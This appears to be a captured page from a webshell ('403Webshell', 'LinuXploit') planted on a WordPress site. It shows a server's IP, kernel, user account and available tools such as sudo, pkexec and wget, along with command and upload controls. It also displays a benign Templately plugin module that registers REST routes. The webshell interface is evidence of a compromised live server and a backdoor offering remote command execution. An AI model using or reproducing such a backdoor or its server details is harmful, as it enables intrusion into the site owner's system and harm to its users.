403Webshell
Server IP : 108.167.142.43  /  Your IP : 216.73.216.223
Web Server : Apache
System : Linux gator4174.hostgator.com 5.14.0-687.39.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Aug 18 06:09:16 EDT 2026 x86_64
User : delarice ( 2406)
PHP Version : 8.3.36
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home2/delarice/www/wp-content/plugins/templately/modules/template-browsing/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/delarice/www/wp-content/plugins/templately/modules/template-browsing/module.php
<?php
/**
 * Template-browsing module (spec 017-template-browsing).
 *
 * The template library discovery surface: items listing/search/counts/featured/
 * trending plus the public metadata endpoints (categories, tags, template types).
 * Relocated from includes/API/ — behavior byte-identical (same routes, params,
 * transient cache keys). The Dependencies endpoint stays with 020-single-import
 * per the PRD ownership ruling.
 *
 * @package Templately
 */

namespace Templately\Modules\TemplateBrowsing;

use Templately\Core\Module_Base;
use Templately\Modules\TemplateBrowsing\REST\Categories;
use Templately\Modules\TemplateBrowsing\REST\Items;
use Templately\Modules\TemplateBrowsing\REST\Tags;
use Templately\Modules\TemplateBrowsing\REST\TemplateTypes;

class Module extends Module_Base {

	public function get_name(): string {
		return 'template-browsing';
	}

	public function get_dependencies(): array {
		// items/favourite + items/rating delegate to the shared permission chain that
		// auth's session state feeds; auth must be booted first (spec 017 contract).
		return [ 'auth' ];
	}

	public function register_rest_routes(): void {
		Items::get_instance()->register_routes();
		Categories::get_instance()->register_routes();
		Tags::get_instance()->register_routes();
		TemplateTypes::get_instance()->register_routes();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit